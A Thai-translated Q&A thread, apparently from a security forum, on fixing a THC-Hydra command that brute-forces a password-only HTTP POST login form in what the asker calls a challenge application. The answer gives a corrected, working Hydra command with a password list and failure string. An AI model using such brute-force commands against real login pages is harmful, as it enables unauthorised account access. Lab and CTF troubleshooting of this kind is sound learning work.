ข้อผิดพลาดกำลัง Hydra เดีย


0
hydra http://192.168.0.24:1234/ http-form-post "/password=^PASS^:Invalid password!" -P pass.txt -t 10 -o hydra-http-post-attack.txt
Hydra v8.1 (c) 2014 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2018-01-03 12:12:37
[INFO] Using HTTP Proxy: http://127.0.0.1:8080
[ERROR] the variables argument needs at least the strings ^USER^ or ^PASS^: Invalid password!

ฉันไม่แน่ใจว่าทำไมฉันจึงได้รับข้อผิดพลาดเนื่องจากมี ^PASS^ เชือก ไม่มีชื่อผู้ใช้ในแอปพลิเคชัน

URL แบบเต็มของแบบฟอร์มการเข้าสู่ระบบคือ: http://192.168.0.24:1234/

ใครช่วยได้บ้าง


ดูเหมือนว่าคุณจะต้องอ่านเอกสารเพิ่มเติมอีกเล็กน้อย ตัวอย่างเช่น "/:password=^PASS^
schroeder

คำตอบ:


1

เกี่ยวกับคำถามของคุณ:

  1. เมื่อใช้ไฮดราไม่จำเป็นต้องใส่ http:// ก่อนโฮสต์ที่คุณจะโจมตี
  2. หากต้องการระบุพอร์ตโปรดใช้ -s ธง.
  3. คุณต้องระบุ -l ตั้งค่าสถานะมิฉะนั้นจะเกิดข้อผิดพลาดขึ้น
  4. ในคำขอ POST คุณต้องระบุไฟล์ที่จะรับคำขอ POST (เช่น index.php, password.php, validate.php ฯลฯ )
  5. และสุดท้าย แต่ไม่ท้ายสุดคุณต้องระบุกรณีที่ประสบความสำเร็จหรือกรณีที่ล้มเหลว

ลองคำสั่งต่อไปนี้เป็นวิธีที่ดีที่สุดที่ฉันสามารถทำได้กับข้อมูลที่ให้ไว้:

hydra -l '' -P pass.txt 192.168.0.24 -s 1234 http-post-form "/index.php:pass=^PASS^:F=Invalid Password!" -t 10 -o hydra-http-post-attack.txt

ฉันลองด้วยตัวเองและมันก็ไม่ได้สร้างความผิดพลาดใด ๆ

โชคดี!


ขอบคุณ ดูเหมือนว่ารูปแบบจะไม่โพสต์ที่ใดก็ได้ดังนั้น index.php จะไม่ถูกต้อง มันเป็นแอพพลิเคชั่นที่ท้าทาย <form method="POST"> <input type="password" name="password"><br><br> <input type="submit" value="Submit"> </form>
Proletariat

ต้องโพสต์ไปที่ใดที่หนึ่งซึ่งอาจหมายความว่าไฟล์เดียวกันมีแบบฟอร์มและตรวจสอบความถูกต้องคุณต้องค้นหาชื่อของไฟล์นั้นและจากนั้นคุณก็ทำเสร็จแล้วในกรณีทั่วไปหน้าหลักของเว็บไซต์ index.phpดังนั้นคุณสามารถตรวจสอบได้หากคุณไปที่ 192.168.0.24/index.phpหากคุณได้รับแบบฟอร์มเข้าสู่ระบบเดียวกันคุณจะได้รับคำตอบ นอกจากนี้คุณยังสามารถแบ่งปันรายละเอียดเพิ่มเติมเกี่ยวกับความท้าทายที่อาจเป็นประโยชน์
galoget

ขอบคุณ นอกจากนี้ยังเป็น :F สำหรับกรณีความล้มเหลวที่บันทึกไว้ที่ใด? ฉันไม่เห็นมันใน -h ของเครื่องมือ
Proletariat

ที่นี่คุณสามารถค้นหาตัวอย่าง: THC-Hydra ด้วยรหัสผ่านเท่านั้นเข้าสู่ระบบแบบฟอร์ม และ ฉันจะใช้ THC-Hydra ด้วยฟิลด์แบบฟอร์มรหัสผ่านเท่านั้นได้อย่างไร อย่าลืมทำเครื่องหมายว่าแก้ไขคำถามหากวิธีการแก้ปัญหาที่ให้มาใช้ได้
galoget
โดยการใช้ไซต์ของเรา หมายความว่าคุณได้อ่านและทำความเข้าใจนโยบายคุกกี้และนโยบายความเป็นส่วนตัวของเราแล้ว
Licensed under cc by-sa 3.0 with attribution required.